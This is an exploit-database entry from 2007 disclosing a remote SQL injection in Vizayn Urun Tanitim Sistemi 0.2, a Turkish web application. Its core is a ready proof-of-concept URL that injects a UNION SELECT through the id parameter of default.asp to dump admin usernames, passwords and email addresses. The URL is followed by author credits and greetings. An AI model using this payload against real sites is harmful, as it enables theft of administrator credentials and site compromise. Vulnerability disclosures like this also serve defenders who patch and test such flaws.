Vizayn Urun Tanitim Sistemi 0.2 (tr) Remote SQL Injection Vulnerability

2007-05-30T00:00:00
ID 1337DAY-ID-1923
Type zdt
Reporter BAHADIR
Modified 2007-05-30T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =======================================================================
Vizayn Urun Tanitim Sistemi 0.2 (tr) Remote SQL Injection Vulnerability
=======================================================================



/* Vizayn Urun Tanitim Sistemi v0.2 (tr) Remote SQL Injection Vulnerability
Found by : ertuqrul
PoC By : BAHADIR
Price : 55YTL 

PoF Concept:
Http://[HOST]/[PATH]/default.asp?islem=haberdetay&id=-1%20union%20select%20USERNAME,PASSWORD,EMAIL,USERNAME%20from%20ADMIN
Takes admin username ,password and email adress from admin table 

W0rdz:Maksat Birseyler Eklemek Olsun =)
GreetZ Goes To : BURCU (Her Ne Kadar Bilmesede :D ) Ayrica Dostum Erchin'e ( Ercin Kardesim, Warcraftin Amk. Birak Su Malak Oyunu :D )  
and also to Str0ke For Posting :)
*/




#  0day.today [2018-01-10]  #